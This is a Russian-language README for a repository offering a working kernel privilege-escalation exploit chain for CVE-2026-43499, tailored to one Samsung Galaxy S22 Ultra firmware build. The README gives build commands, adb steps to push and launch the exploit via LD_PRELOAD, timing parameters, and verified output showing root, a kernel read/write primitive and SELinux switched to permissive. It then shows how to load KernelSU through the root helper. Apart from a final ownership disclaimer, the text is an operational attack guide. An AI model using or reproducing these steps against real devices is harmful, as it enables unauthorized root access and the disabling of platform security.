
CVE-2026-43499 полная цепочка эксплойтов для Samsung Galaxy S22 Ultra (ядро Android 5.10)
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
Этот репозиторий содержит специализированный порт эксплойта CVE-2026-43499 для Samsung Galaxy S22 Ultra (SM-S908W).
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
Офсеты и раскладки структур в этом репозитории привязаны к указанной выше прошивке. Другие модели и сборки прошивки не поддерживаются данным целевым профилем.
Этот порт основан на реализации эксплойта, опубликованной в:
b850d3bddc74c3328d5fbcc0568d21962b55d949Особая благодарность:
Апстрим-лицензия Apache License 2.0 сохранена в LICENSE.
b0q / S908WVLS8FYG7 (src/targets/S908WVLS8FYG7/target.h) и раскладки структур ядра.exp32: футекс-хореография, 32-битная метка стека и запуск sched_setattr выполняются во встроенной 32-битной дочерней стадии (src/exp32/).system_unbound_wq user-mode helper и обновлена цель применения SELinux во время выполнения до selinux_state.enforcing./data/local/tmp/cve-2026-43499-root.cve43499-hold после успешного выполнения, чтобы висячие ссылки ядра не могли быть переиспользованы в несвязанных slab-объектах.Установите ANDROID_NDK_HOME в Android NDK r27+ или совместимый toolchain, затем выполните:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
Для сборки в окружении QEMU, где работает ядро Android с файловой системой Buildroot:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
Результаты:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
Выполните стадию эксплойта для запуска root-демона:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
После успешного выполнения можно открыть интерактивную root-оболочку из любого места на устройстве:
adb shell "/data/local/tmp/cve-2026-43499-root"
Или выполняйте root-команды напрямую:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
По умолчанию выполняется до 16 независимых попыток. Каждый неудачный дочерний процесс завершается до следующей попытки, поэтому его файловые дескрипторы и выделения памяти, формирующие кучу, освобождаются, а не накапливаются внутри одного долгоживущего процесса эксплойта. Базовая задержка по умолчанию — 20000 микросекунд, и супервизор дважды проходит по следующей последовательности:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
Чтобы переопределить количество попыток или базовую задержку при сборе данных о таймингах:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Проверенный результат на S908WVLS8FYG7:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
Сессия интерактивной root-оболочки:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
Начальная стадия основана на гонке. Дочерний процесс, завершившийся с root=0, автоматически запускается повторно. При успешном выполнении восстанавливается ashmem_misc.fops, SELinux переключается в permissive, и запускается демон root-хелпера до следующей перезагрузки.
Описанный выше эксплойт сохраняет root только до текущей перезагрузки. Чтобы получить приложение Manager и управление в стиле su до конца сессии, загрузите KernelSU-Next как модуль ядра поздней загрузки через root-хелпер.
Скачайте оба артефакта релиза из v3.3.0-android12-5.10:
KernelSU_Next_v3.3.0-release.apk — приложение Managerkernelsu-android12-5.10.ko — LKM-модуль ядраУстановите APK Manager:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot.Поскольку это поздно загружаемый LKM (а не пропатченный загрузочный образ), он не переживёт перезагрузку — после каждого перезапуска устройства нужно будет заново запускать эксплойт и повторно выполнять insmod модуля.
[!WARNING] Уведомление о надёжности и kernel panic: Стадия гонки чувствительна к таймингам и в настоящее время ненадёжна — в большинстве запусков она может завершиться неудачей или вызвать kernel panic. Наберитесь терпения: после чистой перезагрузки вероятность успеха выше. В будущем могут выйти оптимизации для повышения надёжности.
[!TIP] Рекомендации по стабильности и вероятности успеха:
- Перезагрузите устройство: для максимальной вероятности успеха перезагрузите устройство перед запуском эксплойта, чтобы обеспечить чистое состояние slab/heap.
- Закройте фоновые приложения: убедитесь, что все фоновые приложения закрыты.
- Разблокируйте экран и не трогайте устройство: держите устройство разблокированным и не взаимодействуйте с телефоном и не используйте его во время работы эксплойта, так как активный ввод пользователя или фоновые задачи могут нарушить тайминги и потенциально вызвать kernel panic.
Используйте только на устройствах, которыми вы владеете или на которых вам явно разрешено проводить тестирование.